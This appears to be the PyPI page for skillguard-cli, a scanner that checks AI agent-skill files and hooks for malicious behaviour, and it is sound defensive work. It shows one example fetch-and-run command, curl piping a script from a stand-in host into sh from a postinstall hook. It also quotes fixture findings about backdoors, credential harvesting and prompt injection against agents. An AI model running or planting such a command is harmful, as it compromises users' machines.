Skip to main content

Security scanner for third-party AI agent-skill files: SKILL.md manifests, hooks, and bundled scripts.

Project description

skillguard-cli (Python)

Security scanner for third-party AI agent-skill files -- SKILL.md manifests, hooks, and bundled scripts -- before they run with real tool, file, and network permissions.

PyPI version License: Apache 2.0 Python versions CI npm version

Why this exists

36% of published agent skills have exploitable flaws per Snyk. Most marketplaces and frameworks have no scan step between "someone published a skill" and "a user's agent runs it." Concretely: a SKILL.md that declares network: false in its frontmatter can still ship a hooks/postinstall.js that runs curl https://get.example.invalid/setup.sh | sh the moment the skill is installed -- nothing in most agent frameworks checks that the declared scope matches what the hooks actually do. SkillGuard is that check: a CLI, a library, and (for the npm distribution) a GitHub Action, all reading the same bundled rule packs. This package is the Python distribution -- a genuine, independent port, not a wrapper around the Node binary.

Install

pip install skillguard-cli

or with uv:

uv add skillguard-cli

No separate install step, no external binary to fetch: all bundled rule packs and the pattern-matching engine ship inside the wheel. The complementary JS/TS distribution installs the same way on the npm side: npm install --save-dev skillguard-cli (or npx skillguard-cli scan to run it once without installing) -- see the project README for that package. Both are first-class, maintained together; neither is deprecated in favor of the other.

Quickstart

Clone the repo to get the bundled fixture skills (not part of the published wheel -- they're demo/test content):

git clone https://github.com/RudrenduPaul/skillguard.git
cd skillguard
skillguard scan ./examples/known-bad-skill

Real output:

Loading SkillGuard rule packs...
SkillGuard scan: /path/to/skillguard/examples/known-bad-skill
Files scanned: 5

Findings: 11 (HIGH: 5, MEDIUM: 5, LOW: 1)

[MEDIUM] SG01 hooks/backdoor.py:7
  sg01-raw-socket-python — Raw socket creation (Python "socket" module) bypasses typical HTTP-only network scope and is a common building block for a covert command-and-control channel.
  > socket.socket(

[HIGH] SG04 hooks/postinstall.js:5
  sg04-postinstall-remote-fetch — A postinstall/preinstall hook downloads and executes a remote script. Install-time hooks run automatically and silently for every consumer of this skill, making this a supply-chain compromise vector.

... (8 more findings, spanning all 7 rule categories) ...

Result: FAIL (exit code 1, severity threshold HIGH)

Or call the library directly (the agent-native path):

from skillguard import scan_skill, ScanOptions

result = scan_skill("./my-skill", ScanOptions(severity_threshold="HIGH"))
if result.exit_code == 1:
    print(f"{len(result.findings)} finding(s) at or above HIGH")
    for finding in result.findings:
        print(f"[{finding.severity}] {finding.category} {finding.file}:{finding.line}{finding.message}")

MCP server (agent-native, tool-call)

pip install "skillguard-cli[mcp]"   # optional extra, requires Python >=3.10
skillguard mcp

Starts SkillGuard as a stdio MCP server exposing one tool, scan_skill ({ path, severity_threshold?, timeout_ms? }), so another agent -- Claude Code, Cursor, an orchestrator -- can scan a third-party skill directly as a tool call before installing or running it, instead of shelling out to the CLI and parsing stdout. The mcp extra is optional and not required for the base pip install skillguard-cli install (the official mcp SDK needs Python >=3.10; the base package still supports >=3.9). Client config example:

{ "mcpServers": { "skillguard": { "command": "skillguard", "args": ["mcp"] } } }

Full setup and the security guarantees this path preserves (same .skillguardignore/inline-suppression defaults as the CLI) are in docs/integrations/mcp.md. The npm package ships the same capability (npx skillguard-cli mcp, tool input { path, severityThreshold?, timeoutMs? } -- camelCase to match that package's own option naming); both distributions expose the identical scan_skill tool, reusing the same scan_skill()/scanSkill() pipeline their own CLIs use.

How it works

target path -> .skillguardignore (opt-in only) -> file walker
   -> rule-pack loader (SG01-SG08, SG10 -- SG09 not yet ported)
   -> pattern engine (SG01-06, partial SG05)
      + structural checks (SG07, SG08, SG10)
   -> inline suppression filter (opt-in only)
   -> severity threshold -> exit code (0 clean / 1 fail / 2 error)

Findings, warnings, and the exit-code contract are described in full in docs/concepts.md. Nine of the ten rule packs (SG01 network mismatch, SG02 remote code execution, SG03 file-scope escalation, SG04 hook supply-chain, SG05 obfuscated payloads, SG06 credential harvesting, SG07 frontmatter spoofing, SG08 prompt injection via skill content, SG10 marketplace typosquatting) are reimplemented as genuine Python logic against the same rule-pack contract the npm package uses -- see that same doc for what each one actually catches. SG09 (cross-skill privilege chaining) doesn't yet have a Python port of its own detection logic, though scan_skill_set() is available in this package.

How SkillGuard compares

SkillGuard is purpose-built for the agent-skill threat model, not a general-purpose scanner. This table is carried over verbatim from the npm package's README (same facts, same sources), since it applies equally to both distributions -- the comparison is about what SkillGuard scans, not which language it's written in.

SkillGuard Snyk Agent Scan Semgrep (CE) Socket CLI
What it scans Agent-skill files: SKILL.md, hooks, scripts Agent skills and MCP server configs General source code, 30+ languages npm/PyPI/etc. package installs
Agent-skill-specific ruleset Yes, all 10 categories purpose-built for this threat model Yes, its whole focus No, general SAST rules only No, supply-chain focused
Auth required for a basic scan None Yes, SNYK_TOKEN required None for Community Edition Yes, SOCKET_CLI_API_TOKEN
License Apache 2.0 Apache 2.0 LGPL-2.1 MIT

Full sourcing and the fuller comparison (including Snyk Open Source/Code) is in the npm package's README. Honest note: no dedicated Python-ecosystem competitor was found doing agent-skill-specific scanning -- the comparison set above is the same one used for the npm package, since the threat model (not the implementation language) is what differentiates SkillGuard.

Benchmarks

Every number below is something we actually ran locally against this package (built wheel, installed into a fresh venv, run against the repo's bundled fixtures) -- no extrapolation.

  • examples/known-bad-skill: 11 findings (5 HIGH, 5 MEDIUM, 1 LOW) spanning all 7 rule categories, across 5 hook/script files, exit code 1. Identical finding count, severity split, and category coverage to the npm package's own documented benchmark for the same fixture.
  • examples/clean-skill and examples/clean-skill-python: 0 findings, exit code 0, on both.
  • examples/typosquat-skill (SG10): 1 finding, exit code 1 -- a declared name one edit-distance away from a well-known package name.
  • skillguard scan-set examples/skill-set-cross-privilege (SG09): 3 findings, exit code 1 -- two skills that individually pass clean but, scanned together, trip a cross-skill privilege-chaining finding. skillguard scan-set examples/skill-set-clean on an unrelated pair of skills: 0 findings, exit code 0.
  • Test suite: 110/110 pytest tests passing, ported from the TypeScript vitest suite (one test module per source module, plus an end-to-end pass against the shared fixtures).

This is a 3-fixture check, not a large-corpus false-positive/false-negative study -- same caveat the npm README states for its own numbers.

CI integration

- uses: actions/checkout@v4
- uses: actions/setup-python@v5
  with:
    python-version: '3.12'
- run: pip install skillguard-cli
- run: skillguard scan ./my-skill --format sarif --severity-threshold HIGH > results.sarif
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

Full walkthrough (including exit-code gating and a pre-commit hook example) in docs/integrations/ci.md. The npm package additionally ships a ready-made composite GitHub Action (uses: RudrenduPaul/skillguard@main) that wraps the same pipeline.

Security

SkillGuard's whole job is running against untrusted, potentially malicious scan targets -- neither this package nor the npm package ever eval()s, exec()s, or dynamically imports anything read from a scan target; content is only ever read and pattern-matched. Both suppression mechanisms (.skillguardignore, inline # skillguard-ignore: comments) are off by default and require an explicit opt-in, closing a real trust-boundary bug fixed before v0.1 shipped (see CHANGELOG.md). To report a vulnerability, see SECURITY.md for the private disclosure process. Honest note: this project does not currently publish SLSA provenance, Sigstore signatures, or an SBOM, and has no OpenSSF Scorecard badge set up -- none of that infrastructure exists yet for either distribution, so it isn't claimed here.

Contributing

See CONTRIBUTING.md for the full guide, covering both the TypeScript and Python codebases (they must stay in behavioral parity -- a rule-pack change needs to land in both). There is no enforced minimum coverage threshold today; the bar is that the full pytest suite (pytest from python/) passes and new behavior ships with tests.

cd python
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest

License

Apache 2.0, see LICENSE.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

skillguard_cli-0.2.1.tar.gz (61.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

skillguard_cli-0.2.1-py3-none-any.whl (66.6 kB view details)

Uploaded Python 3

File details

Details for the file skillguard_cli-0.2.1.tar.gz.

File metadata

  • Download URL: skillguard_cli-0.2.1.tar.gz
  • Upload date:
  • Size: 61.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for skillguard_cli-0.2.1.tar.gz
Algorithm Hash digest
SHA256 97bf30af5737f2fa90ce250097bb446eee2f7f1c688a12dd839a84cd156033eb
MD5 80e1358c0ca09efc07d949590fca9ca1
BLAKE2b-256 ded9cc7442498c1bb13b0067af1c48d0b0ff408e254970dbea1125b6fcafc8ee

See more details on using hashes here.

File details

Details for the file skillguard_cli-0.2.1-py3-none-any.whl.

File metadata

  • Download URL: skillguard_cli-0.2.1-py3-none-any.whl
  • Upload date:
  • Size: 66.6 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.6

File hashes

Hashes for skillguard_cli-0.2.1-py3-none-any.whl
Algorithm Hash digest
SHA256 7775e9ba42906ed3fa03aa47c0609287a4f0448c24f89ae76afd9f326d0d009f
MD5 41e8a7d9cf0eeb54d93ca906a7ad7243
BLAKE2b-256 7a39b8f6a8203fdaed4c2710bff8ad1ad3f4764999c26f54b904eb067c806fe5

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page